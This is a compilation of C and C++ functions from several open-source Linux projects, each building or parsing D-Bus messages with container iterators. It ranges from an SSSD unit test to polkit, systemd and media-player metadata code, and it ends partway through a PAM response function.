void test_el_to_dict(void **state) { static struct sbus_request *sr; dbus_bool_t dbret; DBusMessageIter iter; DBusMessageIter iter_dict; struct ldb_message_element *el; errno_t ret; char *attr_name; char *attr_val; sr = mock_sbus_request(global_talloc_context, geteuid()); assert_non_null(sr); el = talloc(sr, struct ldb_message_element); assert_non_null(el); el->name = "numbers"; el->values = talloc_array(el, struct ldb_val, 2); assert_non_null(el->values); el->num_values = 2; el->values[0].data = (uint8_t *) discard_const("one"); el->values[0].length = strlen("one") + 1; el->values[1].data = (uint8_t *) discard_const("two"); el->values[1].length = strlen("two") + 1; dbus_message_iter_init_append(sr->message, &iter); dbret = dbus_message_iter_open_container( &iter, DBUS_TYPE_ARRAY, DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_VARIANT_AS_STRING DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &iter_dict); assert_true(dbret == TRUE); ret = ifp_add_ldb_el_to_dict(&iter_dict, el); assert_int_equal(ret, EOK); dbret = dbus_message_iter_close_container(&iter, &iter_dict); assert_true(dbret == TRUE); /* Test the reply contains what we expect */ dbus_message_iter_init(sr->message, &iter); assert_int_equal(dbus_message_iter_get_arg_type(&iter), DBUS_TYPE_ARRAY); dbus_message_iter_recurse(&iter, &iter); assert_int_equal(dbus_message_iter_get_arg_type(&iter), DBUS_TYPE_DICT_ENTRY); dbus_message_iter_recurse(&iter, &iter_dict); dbus_message_iter_get_basic(&iter_dict, &attr_name); assert_string_equal(attr_name, "numbers"); dbus_message_iter_next(&iter_dict); assert_int_equal(dbus_message_iter_get_arg_type(&iter_dict), DBUS_TYPE_VARIANT); dbus_message_iter_recurse(&iter_dict, &iter_dict); assert_int_equal(dbus_message_iter_get_arg_type(&iter_dict), DBUS_TYPE_ARRAY); dbus_message_iter_recurse(&iter_dict, &iter_dict); dbus_message_iter_get_basic(&iter_dict, &attr_val); assert_string_equal(attr_val, "one"); assert_true(dbus_message_iter_next(&iter_dict)); dbus_message_iter_get_basic(&iter_dict, &attr_val); assert_string_equal(attr_val, "two"); assert_false(dbus_message_iter_next(&iter_dict)); }
static char * session_ck_open_session (DBusConnection *connection, const char *username, int display) { DBusError error; DBusMessage *message; DBusMessage *reply; DBusMessageIter iter; DBusMessageIter iter_array; dbus_bool_t res; char *ret; char *cookie; dbus_bool_t is_local = FALSE; dbus_bool_t active = TRUE; int uid; char display_str[256]; const char *x11_display = display_str; const char *session_type = "rdp"; reply = NULL; message = NULL; ret = NULL; g_sprintf(display_str, ":%d", display); if (g_getuser_info(username, 0, &uid, 0, 0, 0)) goto out; message = dbus_message_new_method_call ("org.freedesktop.ConsoleKit", "/org/freedesktop/ConsoleKit/Manager", "org.freedesktop.ConsoleKit.Manager", "OpenSessionWithParameters"); if (message == NULL) { goto out; } dbus_message_iter_init_append (message, &iter); if (! dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, "(sv)", &iter_array)) { goto out; } if (!add_param_basic (&iter_array, "unix-user", DBUS_TYPE_INT32, &uid) || !add_param_basic (&iter_array, "x11-display", DBUS_TYPE_STRING, &x11_display) || !add_param_basic (&iter_array, "is-local", DBUS_TYPE_BOOLEAN, &is_local) || !add_param_basic (&iter_array, "active", DBUS_TYPE_BOOLEAN, &active) || !add_param_basic (&iter_array, "session-type", DBUS_TYPE_STRING, &session_type)) { log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS, "Error adding ck session parameter"); goto out; } if (! dbus_message_iter_close_container (&iter, &iter_array)) { goto out; } dbus_error_init (&error); reply = dbus_connection_send_with_reply_and_block (connection, message, -1, &error); if (reply == NULL) { if (dbus_error_is_set (&error)) { log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS, "Unable to open session: %s", error.message); dbus_error_free (&error); goto out; } } dbus_error_init (&error); if (! dbus_message_get_args (reply, &error, DBUS_TYPE_STRING, &cookie, DBUS_TYPE_INVALID)) { if (dbus_error_is_set (&error)) { log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS, "Unable to open session: %s", error.message); dbus_error_free (&error); goto out; } } ret = g_strdup (cookie); out: if (reply != NULL) { dbus_message_unref (reply); } if (message != NULL) { dbus_message_unref (message); } return ret; }
static dbus_bool_t bus_driver_handle_list_services (DBusConnection *connection, BusTransaction *transaction, DBusMessage *message, DBusError *error) { DBusMessage *reply; int len; char **services; BusRegistry *registry; int i; DBusMessageIter iter; DBusMessageIter sub; _DBUS_ASSERT_ERROR_IS_CLEAR (error); registry = bus_connection_get_registry (connection); reply = dbus_message_new_method_return (message); if (reply == NULL) { BUS_SET_OOM (error); return FALSE; } if (!bus_registry_list_services (registry, &services, &len)) { dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } dbus_message_iter_init_append (reply, &iter); if (!dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, DBUS_TYPE_STRING_AS_STRING, &sub)) { dbus_free_string_array (services); dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } { /* Include the bus driver in the list */ const char *v_STRING = DBUS_SERVICE_DBUS; if (!dbus_message_iter_append_basic (&sub, DBUS_TYPE_STRING, &v_STRING)) { dbus_free_string_array (services); dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } } i = 0; while (i < len) { if (!dbus_message_iter_append_basic (&sub, DBUS_TYPE_STRING, &services[i])) { dbus_free_string_array (services); dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } ++i; } if (!dbus_message_iter_close_container (&iter, &sub)) { dbus_free_string_array (services); dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } dbus_free_string_array (services); if (!bus_transaction_send_from_driver (transaction, connection, reply)) { dbus_message_unref (reply); BUS_SET_OOM (error); return FALSE; } else { dbus_message_unref (reply); return TRUE; } }
static DBusHandlerResult message_handler_cb (DBusConnection *conn, DBusMessage *message, void *user_data) { /* * Here we handle the requests to our own gnome-keyring DBus interfaces */ DBusMessageIter args; DBusMessage *reply = NULL; /* GetEnvironment */ if (dbus_message_get_type (message) == DBUS_MESSAGE_TYPE_METHOD_CALL && dbus_message_is_method_call (message, GNOME_KEYRING_DAEMON_INTERFACE, "GetEnvironment") && g_str_equal (dbus_message_get_signature (message), "")) { const gchar **env; DBusMessageIter items, entry; env = gkd_util_get_environment (); g_return_val_if_fail (env, DBUS_HANDLER_RESULT_NOT_YET_HANDLED); /* Setup the result */ reply = dbus_message_new_method_return (message); dbus_message_iter_init_append (reply, &args); if (!dbus_message_iter_open_container (&args, DBUS_TYPE_ARRAY, "{ss}", &items)) g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY); while (*env) { gchar **parts; parts = g_strsplit (*env, "=", 2); g_return_val_if_fail (parts && parts[0] && parts[1], DBUS_HANDLER_RESULT_NOT_YET_HANDLED); if (!dbus_message_iter_open_container (&items, DBUS_TYPE_DICT_ENTRY, NULL, &entry) || !dbus_message_iter_append_basic (&entry, DBUS_TYPE_STRING, &parts[0]) || !dbus_message_iter_append_basic (&entry, DBUS_TYPE_STRING, &parts[1]) || !dbus_message_iter_close_container (&items, &entry)) { g_strfreev (parts); g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY); } g_strfreev (parts); ++env; } if (!dbus_message_iter_close_container (&args, &items)) g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY); /* GetControlDirectory */ } else if (dbus_message_get_type (message) == DBUS_MESSAGE_TYPE_METHOD_CALL && dbus_message_is_method_call (message, GNOME_KEYRING_DAEMON_INTERFACE, "GetControlDirectory") && g_str_equal (dbus_message_get_signature (message), "")) { /* Setup the result */ const gchar *directory = gkd_util_get_master_directory (); reply = dbus_message_new_method_return (message); dbus_message_append_args (reply, DBUS_TYPE_STRING, &directory, DBUS_TYPE_INVALID); /* Unknown call */ } else { return DBUS_HANDLER_RESULT_NOT_YET_HANDLED; } /* Send the reply */ if (!dbus_connection_send (conn, reply, NULL)) g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY); dbus_connection_flush (conn); return DBUS_HANDLER_RESULT_HANDLED; }
int verify_polkit( DBusConnection *c, DBusMessage *request, const char *action, bool interactive, bool *_challenge, DBusError *error) { #ifdef ENABLE_POLKIT DBusMessage *m = NULL, *reply = NULL; const char *unix_process = "unix-process", *pid = "pid", *starttime = "start-time", *cancel_id = ""; uint32_t flags = interactive ? 1 : 0; pid_t pid_raw; uint32_t pid_u32; unsigned long long starttime_raw; uint64_t starttime_u64; DBusMessageIter iter_msg, iter_struct, iter_array, iter_dict, iter_variant; int r; dbus_bool_t authorized = FALSE, challenge = FALSE; #endif const char *sender; unsigned long ul; assert(c); assert(request); sender = dbus_message_get_sender(request); if (!sender) return -EINVAL; ul = dbus_bus_get_unix_user(c, sender, error); if (ul == (unsigned long) -1) return -EINVAL; /* Shortcut things for root, to avoid the PK roundtrip and dependency */ if (ul == 0) return 1; #ifdef ENABLE_POLKIT pid_raw = bus_get_unix_process_id(c, sender, error); if (pid_raw == 0) return -EINVAL; r = get_starttime_of_pid(pid_raw, &starttime_raw); if (r < 0) return r; m = dbus_message_new_method_call( "org.freedesktop.PolicyKit1", "/org/freedesktop/PolicyKit1/Authority", "org.freedesktop.PolicyKit1.Authority", "CheckAuthorization"); if (!m) return -ENOMEM; dbus_message_iter_init_append(m, &iter_msg); pid_u32 = (uint32_t) pid_raw; starttime_u64 = (uint64_t) starttime_raw; if (!dbus_message_iter_open_container(&iter_msg, DBUS_TYPE_STRUCT, NULL, &iter_struct) || !dbus_message_iter_append_basic(&iter_struct, DBUS_TYPE_STRING, &unix_process) || !dbus_message_iter_open_container(&iter_struct, DBUS_TYPE_ARRAY, "{sv}", &iter_array) || !dbus_message_iter_open_container(&iter_array, DBUS_TYPE_DICT_ENTRY, NULL, &iter_dict) || !dbus_message_iter_append_basic(&iter_dict, DBUS_TYPE_STRING, &pid) || !dbus_message_iter_open_container(&iter_dict, DBUS_TYPE_VARIANT, "u", &iter_variant) || !dbus_message_iter_append_basic(&iter_variant, DBUS_TYPE_UINT32, &pid_u32) || !dbus_message_iter_close_container(&iter_dict, &iter_variant) || !dbus_message_iter_close_container(&iter_array, &iter_dict) || !dbus_message_iter_open_container(&iter_array, DBUS_TYPE_DICT_ENTRY, NULL, &iter_dict) || !dbus_message_iter_append_basic(&iter_dict, DBUS_TYPE_STRING, &starttime) || !dbus_message_iter_open_container(&iter_dict, DBUS_TYPE_VARIANT, "t", &iter_variant) || !dbus_message_iter_append_basic(&iter_variant, DBUS_TYPE_UINT64, &starttime_u64) || !dbus_message_iter_close_container(&iter_dict, &iter_variant) || !dbus_message_iter_close_container(&iter_array, &iter_dict) || !dbus_message_iter_close_container(&iter_struct, &iter_array) || !dbus_message_iter_close_container(&iter_msg, &iter_struct) || !dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_STRING, &action) || !dbus_message_iter_open_container(&iter_msg, DBUS_TYPE_ARRAY, "{ss}", &iter_array) || !dbus_message_iter_close_container(&iter_msg, &iter_array) || !dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_UINT32, &flags) || !dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_STRING, &cancel_id)) { r = -ENOMEM; goto finish; } reply = dbus_connection_send_with_reply_and_block(c, m, -1, error); if (!reply) { /* Treat no PK available as access denied */ if (dbus_error_has_name(error, DBUS_ERROR_SERVICE_UNKNOWN)) { r = -EACCES; dbus_error_free(error); goto finish; } r = -EIO; goto finish; } if (!dbus_message_iter_init(reply, &iter_msg) || dbus_message_iter_get_arg_type(&iter_msg) != DBUS_TYPE_STRUCT) { r = -EIO; goto finish; } dbus_message_iter_recurse(&iter_msg, &iter_struct); if (dbus_message_iter_get_arg_type(&iter_struct) != DBUS_TYPE_BOOLEAN) { r = -EIO; goto finish; } dbus_message_iter_get_basic(&iter_struct, &authorized); if (!dbus_message_iter_next(&iter_struct) || dbus_message_iter_get_arg_type(&iter_struct) != DBUS_TYPE_BOOLEAN) { r = -EIO; goto finish; } dbus_message_iter_get_basic(&iter_struct, &challenge); if (authorized) r = 1; else if (_challenge) { *_challenge = !!challenge; r = 0; } else r = -EPERM; finish: if (m) dbus_message_unref(m); if (reply) dbus_message_unref(reply); return r; #else return -EPERM; #endif }
static void process_properties_from_interface(struct generic_data *data, struct interface_data *iface) { GSList *l; DBusMessage *signal; DBusMessageIter iter, dict, array; GSList *invalidated; if (iface->pending_prop == NULL) return; signal = dbus_message_new_signal(data->path, DBUS_INTERFACE_PROPERTIES, "PropertiesChanged"); if (signal == NULL) { error("Unable to allocate new " DBUS_INTERFACE_PROPERTIES ".PropertiesChanged signal"); return; } iface->pending_prop = g_slist_reverse(iface->pending_prop); dbus_message_iter_init_append(signal, &iter); dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &iface->name); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_VARIANT_AS_STRING DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict); invalidated = NULL; for (l = iface->pending_prop; l != NULL; l = l->next) { GDBusPropertyTable *p = l->data; if (p->get == NULL) continue; if (p->exists != NULL && !p->exists(p, iface->user_data)) { invalidated = g_slist_prepend(invalidated, p); continue; } append_property(iface, p, &dict); } dbus_message_iter_close_container(&iter, &dict); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_TYPE_STRING_AS_STRING, &array); for (l = invalidated; l != NULL; l = g_slist_next(l)) { GDBusPropertyTable *p = l->data; dbus_message_iter_append_basic(&array, DBUS_TYPE_STRING, &p->name); } g_slist_free(invalidated); dbus_message_iter_close_container(&iter, &array); g_dbus_send_message(data->conn, signal); g_slist_free(iface->pending_prop); iface->pending_prop = NULL; }
static void to_dbus_iter_from_dict(DBusMessageIter* parent_it, const EdbusData& data) { E_ASSERT(data.is_dict()); EdbusDict dict = data.to_dict(); /* TODO: allow empty containers ??? */ if(dict.size() < 1) return; /* * TODO: check signature size in DBus spec (or use edelib::String here) * * Also, this part needs a better code, especially in case when value signature * is needed. Value can be another dict, struct or array of dicts, struct, variants * and etc. so I need better singature builder. */ char sig[256]; const char* key_sig = from_edbusdata_type_to_dbus_type_string(dict.key_type()); //const char* value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type()); #if 0 const char* value_sig; if(dict.value_type() == EDBUS_TYPE_DICT) value_sig = "a{ss}"; else value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type()); #endif const char* value_sig; String ss; if(dict.value_type_is_container()) { /* * We already have correct header that represents dict array. Now * go and recurse into dict value container */ EdbusDict::const_iterator first = dict.begin(); build_signature((*first).value, ss); value_sig = ss.c_str(); } else value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type()); /* * Dicts are serialized as array of dict entries. We first build signature for array * elements, then iterate over EdbusDict entries and from key/value pairs construct a * DBus dict entry then append that entry to the array * * A signature for dictionary will be 'a{TYPE TYPE}'. dbus_message_iter_open_container() will * append 'a' to the signature. */ snprintf(sig, sizeof(sig), "%c%s%s%c", DBUS_DICT_ENTRY_BEGIN_CHAR, key_sig, value_sig, DBUS_DICT_ENTRY_END_CHAR); /* printf("Dict entry signature: %s\n", sig); */ DBusMessageIter sub; dbus_message_iter_open_container(parent_it, DBUS_TYPE_ARRAY, sig, &sub); EdbusDict::const_iterator it = dict.begin(), it_end = dict.end(); for(; it != it_end; ++it) { DBusMessageIter dict_entry_iter; dbus_message_iter_open_container(&sub, DBUS_TYPE_DICT_ENTRY, 0, &dict_entry_iter); /* * append key; it is always basic type * TODO: here should be assertion check */ to_dbus_iter_from_basic_type(&dict_entry_iter, (*it).key); /* append value, can be any type */ to_dbus_iter_from_edbusdata_type(&dict_entry_iter, (*it).value); dbus_message_iter_close_container(&sub, &dict_entry_iter); } dbus_message_iter_close_container(parent_it, &sub); }
static DBusMessage *cf_ss_control_reply(struct ofono_call_forwarding *cf, struct cf_ss_request *req) { const char *context = "CallForwarding"; const char *sig = "(ssa{sv})"; const char *ss_type = ss_control_type_to_string(req->ss_type); const char *cf_type = cf_type_lut[req->cf_type]; DBusMessageIter iter; DBusMessageIter variant; DBusMessageIter vstruct; DBusMessageIter dict; DBusMessage *reply; reply = dbus_message_new_method_return(cf->pending); dbus_message_iter_init_append(reply, &iter); dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &context); dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, sig, &variant); dbus_message_iter_open_container(&variant, DBUS_TYPE_STRUCT, NULL, &vstruct); dbus_message_iter_append_basic(&vstruct, DBUS_TYPE_STRING, &ss_type); dbus_message_iter_append_basic(&vstruct, DBUS_TYPE_STRING, &cf_type); dbus_message_iter_open_container(&vstruct, DBUS_TYPE_ARRAY, OFONO_PROPERTIES_ARRAY_SIGNATURE, &dict); if (req->cf_type == CALL_FORWARDING_TYPE_UNCONDITIONAL || req->cf_type == CALL_FORWARDING_TYPE_ALL) property_append_cf_conditions(&dict, req->cf_list[CALL_FORWARDING_TYPE_UNCONDITIONAL], req->cls, cf_type_lut[CALL_FORWARDING_TYPE_UNCONDITIONAL]); if (req->cf_type == CALL_FORWARDING_TYPE_NO_REPLY || req->cf_type == CALL_FORWARDING_TYPE_ALL || req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL) property_append_cf_conditions(&dict, req->cf_list[CALL_FORWARDING_TYPE_NO_REPLY], req->cls, cf_type_lut[CALL_FORWARDING_TYPE_NO_REPLY]); if (req->cf_type == CALL_FORWARDING_TYPE_NOT_REACHABLE || req->cf_type == CALL_FORWARDING_TYPE_ALL || req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL) property_append_cf_conditions(&dict, req->cf_list[CALL_FORWARDING_TYPE_NOT_REACHABLE], req->cls, cf_type_lut[CALL_FORWARDING_TYPE_NOT_REACHABLE]); if (req->cf_type == CALL_FORWARDING_TYPE_BUSY || req->cf_type == CALL_FORWARDING_TYPE_ALL || req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL) property_append_cf_conditions(&dict, req->cf_list[CALL_FORWARDING_TYPE_BUSY], req->cls, cf_type_lut[CALL_FORWARDING_TYPE_BUSY]); dbus_message_iter_close_container(&vstruct, &dict); dbus_message_iter_close_container(&variant, &vstruct); dbus_message_iter_close_container(&iter, &variant); return reply; }
static bool qAppendArrayToMessage(DBusMessageIter *it, const QDBusType &subType, const QVariant &var) { bool ok = false; DBusMessageIter sub; dbus_message_iter_open_container(it, DBUS_TYPE_ARRAY, subType.dbusSignature(), &sub); switch (var.type()) { case QVariant::StringList: { const QStringList list = var.toStringList(); foreach (QString str, list) qIterAppend(&sub, subType, str.toUtf8().constData()); ok = true; break; } case QVariant::ByteArray: { const QByteArray array = var.toByteArray(); const char* cdata = array.constData(); dbus_message_iter_append_fixed_array(&sub, DBUS_TYPE_BYTE, &cdata, array.length()); ok = true; break; } case QVariant::Map: { const QVariantMap map = var.toMap(); const QDBusTypeList& subTypes = subType.subTypes(); ok = true; for (QMap<QString, QVariant>::const_iterator mit = map.constBegin(); ok && mit != map.constEnd(); ++mit) { DBusMessageIter itemIterator; dbus_message_iter_open_container(&sub, DBUS_TYPE_DICT_ENTRY, 0, &itemIterator); // let the string be converted to QVariant if (!qVariantToIteratorInternal(&itemIterator, mit.key(), subTypes[0])) ok = false; else if (!qVariantToIteratorInternal(&itemIterator, mit.value(), subTypes[1])) ok = false; dbus_message_iter_close_container(&sub, &itemIterator); } break; } case QVariant::List: { const QVariantList list = var.toList(); ok = true; foreach (QVariant v, list) if (!qVariantToIteratorInternal(&sub, v, subType)) { ok = false; break; } break; } default: { int id = var.userType(); ok = true; if (id == QDBusTypeHelper<bool>::listId()) qAppendListToMessage<dbus_bool_t,bool>(&sub, subType, var); else if (id == QDBusTypeHelper<short>::listId()) qAppendListToMessage<dbus_int16_t,short>(&sub, subType, var); else if (id == QDBusTypeHelper<ushort>::listId()) qAppendListToMessage<dbus_uint16_t,ushort>(&sub, subType, var); else if (id == QDBusTypeHelper<int>::listId()) qAppendListToMessage<dbus_int32_t,int>(&sub, subType, var); else if (id == QDBusTypeHelper<uint>::listId()) qAppendListToMessage<dbus_uint32_t,uint>(&sub, subType, var); else if (id == QDBusTypeHelper<qlonglong>::listId()) qAppendListToMessage<dbus_int64_t,qlonglong>(&sub, subType, var); else if (id == QDBusTypeHelper<qulonglong>::listId()) qAppendListToMessage<dbus_uint64_t,qulonglong>(&sub, subType, var); else if (id == QDBusTypeHelper<double>::listId()) qAppendListToMessage<double,double>(&sub, subType, var); #if 0 // never reached, since QVariant::List mached else if (id == QDBusTypeHelper<QVariant>::listId()) qAppendListToMessage<QVariant,QVariant>(&sub, subType, var); #endif else { qFatal("qAppendArrayToMessage got unknown type!"); ok = false; } break; } } dbus_message_iter_close_container(it, &sub); return ok; }
/******************************************************************************* * igmp_snp_dbus_show_route_port * * DESCRIPTION: * show multicast route-port. * * INPUTS: * conn - dbusconnection * msg - dbusmessage * user_data - dbus data * * OUTPUTS: * null * * RETURNS: * reply - * * COMMENTS: * ** ********************************************************************************/ DBusMessage *igmp_snp_dbus_show_route_port ( DBusConnection *conn, DBusMessage *msg, void *user_data ) { DBusMessage *reply; DBusMessageIter iter; DBusError err; DBusMessageIter iter_array; unsigned int i = 0; unsigned int count = 0; unsigned int ret = IGMPSNP_RETURN_CODE_OK; unsigned short vlanId = 0; long eth_g_index_array[IGMP_DBUS_MAX_ETHPORT_PER_BOARD * IGMP_DBUS_MAX_CHASSIS_SLOT_COUNT]; /* init routeArray */ for (i = 0; i < (IGMP_DBUS_MAX_ETHPORT_PER_BOARD * IGMP_DBUS_MAX_CHASSIS_SLOT_COUNT); i++) { eth_g_index_array[i] = -1; } dbus_error_init(&err); if (!(dbus_message_get_args(msg, &err, DBUS_TYPE_UINT16, &vlanId, DBUS_TYPE_INVALID))) { igmp_snp_syslog_err("Unable to get input args "); if (dbus_error_is_set(&err)) { igmp_snp_syslog_err("%s raised: %s", err.name, err.message); dbus_error_free(&err); } return NULL; } ret = igmp_snp_route_port_show(vlanId, &count, eth_g_index_array); for (i = 0; i < count; i++) { if (eth_g_index_array[i] != -1) { igmp_snp_syslog_dbg("eth_g_index_array[%d]=[%d]\n", i, eth_g_index_array[i]); } } reply = dbus_message_new_method_return(msg); dbus_message_iter_init_append(reply, &iter); dbus_message_iter_append_basic(&iter, DBUS_TYPE_UINT32, &ret); dbus_message_iter_append_basic(&iter, DBUS_TYPE_UINT32, &count); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, DBUS_STRUCT_BEGIN_CHAR_AS_STRING DBUS_TYPE_UINT32_AS_STRING DBUS_STRUCT_END_CHAR_AS_STRING, &iter_array); for (i = 0; i < count; i++) { DBusMessageIter iter_struct; dbus_message_iter_open_container(&iter_array, DBUS_TYPE_STRUCT, NULL, &iter_struct); dbus_message_iter_append_basic(&iter_struct, DBUS_TYPE_UINT32, &(eth_g_index_array[i])); dbus_message_iter_close_container(&iter_array, &iter_struct); } dbus_message_iter_close_container (&iter, &iter_array); return reply; }
static DBusMessage *radio_get_properties_reply(DBusMessage *msg, struct ofono_radio_settings *rs) { DBusMessage *reply; DBusMessageIter iter; DBusMessageIter dict; const char *mode = radio_access_mode_to_string(rs->mode); reply = dbus_message_new_method_return(msg); if (reply == NULL) return NULL; dbus_message_iter_init_append(reply, &iter); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, OFONO_PROPERTIES_ARRAY_SIGNATURE, &dict); ofono_dbus_dict_append(&dict, "TechnologyPreference", DBUS_TYPE_STRING, &mode); if (rs->driver->query_band) { const char *band = radio_band_gsm_to_string(rs->band_gsm); ofono_dbus_dict_append(&dict, "GsmBand", DBUS_TYPE_STRING, &band); band = radio_band_umts_to_string(rs->band_umts); ofono_dbus_dict_append(&dict, "UmtsBand", DBUS_TYPE_STRING, &band); } if (rs->driver->query_fast_dormancy) { dbus_bool_t value = rs->fast_dormancy; ofono_dbus_dict_append(&dict, "FastDormancy", DBUS_TYPE_BOOLEAN, &value); } if (rs->available_rats) { const char *rats[sizeof(uint32_t) * CHAR_BIT + 1]; const char **dbus_rats = rats; int n = 0; unsigned int i; for (i = 0; i < sizeof(uint32_t) * CHAR_BIT; i++) { int tech = 1 << i; if (!(rs->available_rats & tech)) continue; rats[n++] = radio_access_mode_to_string(tech); } rats[n] = NULL; ofono_dbus_dict_append_array(&dict, "AvailableTechnologies", DBUS_TYPE_STRING, &dbus_rats); } dbus_message_iter_close_container(&iter, &dict); return reply; }
int GetInputMeta( input_item_t* p_input, DBusMessageIter *args ) { DBusMessageIter dict, dict_entry, variant; /** The duration of the track can be expressed in second, milli-seconds and µ-seconds */ dbus_int64_t i_mtime = input_item_GetDuration( p_input ); dbus_uint32_t i_time = i_mtime / 1000000; dbus_int64_t i_length = i_mtime / 1000; char *psz_trackid; if( -1 == asprintf( &psz_trackid, MPRIS_TRACKID_FORMAT, p_input->i_id ) ) return VLC_ENOMEM; const char* ppsz_meta_items[] = { "mpris:trackid", "xesam:url", "xesam:title", "xesam:artist", "xesam:album", "xesam:tracknumber", "vlc:time", "mpris:length", "xesam:genre", "xesam:userRating", "xesam:contentCreated", "mpris:artUrl", "mb:trackId", "vlc:audio-bitrate", "vlc:audio-samplerate", "vlc:video-bitrate", "vlc:audio-codec", "vlc:copyright", "xesam:comment", "vlc:encodedby", "language", "vlc:length", "vlc:nowplaying", "vlc:publisher", "vlc:setting", "status", "vlc:url", "vlc:video-codec" }; dbus_message_iter_open_container( args, DBUS_TYPE_ARRAY, "{sv}", &dict ); ADD_META( 0, DBUS_TYPE_OBJECT_PATH, psz_trackid ); ADD_VLC_META_STRING( 1, URI ); ADD_VLC_META_STRING( 2, Title ); ADD_VLC_META_STRING( 3, Artist ); ADD_VLC_META_STRING( 4, Album ); ADD_VLC_META_STRING( 5, TrackNum ); ADD_META( 6, DBUS_TYPE_UINT32, i_time ); ADD_META( 7, DBUS_TYPE_INT64, i_mtime ); ADD_VLC_META_STRING( 8, Genre ); ADD_VLC_META_STRING( 9, Rating ); ADD_VLC_META_STRING( 10, Date ); ADD_VLC_META_STRING( 11, ArtURL ); ADD_VLC_META_STRING( 12, TrackID ); ADD_VLC_META_STRING( 17, Copyright ); ADD_VLC_META_STRING( 18, Description ); ADD_VLC_META_STRING( 19, EncodedBy ); ADD_VLC_META_STRING( 20, Language ); ADD_META( 21, DBUS_TYPE_INT64, i_length ); ADD_VLC_META_STRING( 22, NowPlaying ); ADD_VLC_META_STRING( 23, Publisher ); ADD_VLC_META_STRING( 24, Setting ); ADD_VLC_META_STRING( 25, URL ); free( psz_trackid ); vlc_mutex_lock( &p_input->lock ); if( p_input->p_meta ) { int i_status = vlc_meta_GetStatus( p_input->p_meta ); ADD_META( 23, DBUS_TYPE_INT32, i_status ); } vlc_mutex_unlock( &p_input->lock ); dbus_message_iter_close_container( args, &dict ); return VLC_SUCCESS; }
static void push_data(DBusConnection *bus) { char **l_set = NULL, **l_unset = NULL, **t; int c_set = 0, c_unset = 0, p; DBusError error; DBusMessage *m = NULL, *reply = NULL; DBusMessageIter iter, sub; dbus_error_init(&error); assert(bus); l_set = new0(char*, _PROP_MAX); l_unset = new0(char*, _PROP_MAX); if (!l_set || !l_unset) { log_oom(); goto finish; } for (p = 0; p < _PROP_MAX; p++) { assert(names[p]); if (isempty(data[p])) l_unset[c_set++] = (char*) names[p]; else { char *s; if (asprintf(&s, "%s=%s", names[p], data[p]) < 0) { log_oom(); goto finish; } l_set[c_unset++] = s; } } assert(c_set + c_unset == _PROP_MAX); m = dbus_message_new_method_call("org.freedesktop.systemd1", "/org/freedesktop/systemd1", "org.freedesktop.systemd1.Manager", "UnsetAndSetEnvironment"); if (!m) { log_error("Could not allocate message."); goto finish; } dbus_message_iter_init_append(m, &iter); if (!dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub)) { log_oom(); goto finish; } STRV_FOREACH(t, l_unset) if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, t)) { log_oom(); goto finish; } if (!dbus_message_iter_close_container(&iter, &sub) || !dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub)) { log_oom(); goto finish; } STRV_FOREACH(t, l_set) if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, t)) { log_oom(); goto finish; } if (!dbus_message_iter_close_container(&iter, &sub)) { log_oom(); goto finish; } reply = dbus_connection_send_with_reply_and_block(bus, m, -1, &error); if (!reply) { log_error("Failed to set locale information: %s", bus_error_message(&error)); goto finish; } finish: if (m) dbus_message_unref(m); if (reply) dbus_message_unref(reply); dbus_error_free(&error); strv_free(l_set); free(l_unset); }
bool dp_pack_pam_response(DBusMessage *msg, struct pam_data *pd) { dbus_bool_t dbret; struct response_data *resp; DBusMessageIter iter; DBusMessageIter array_iter; DBusMessageIter struct_iter; DBusMessageIter data_iter; uint32_t pam_status; uint32_t resp_type; dbus_message_iter_init_append(msg, &iter); /* Append the PAM status */ pam_status = pd->pam_status; dbret = dbus_message_iter_append_basic(&iter, DBUS_TYPE_UINT32, &pam_status); if (!dbret) { return false; } /* Append the lockout of account */ dbret = dbus_message_iter_append_basic(&iter, DBUS_TYPE_UINT32, &pd->account_locked); if (!dbret) { return false; } /* Create an array of response structures */ dbret = dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "(uay)", &array_iter); if (!dbret) { return false; } resp = pd->resp_list; while (resp != NULL) { /* Create a DBUS struct */ dbret = dbus_message_iter_open_container(&array_iter, DBUS_TYPE_STRUCT, NULL, &struct_iter); if (!dbret) { return false; } /* Add the response type */ resp_type = 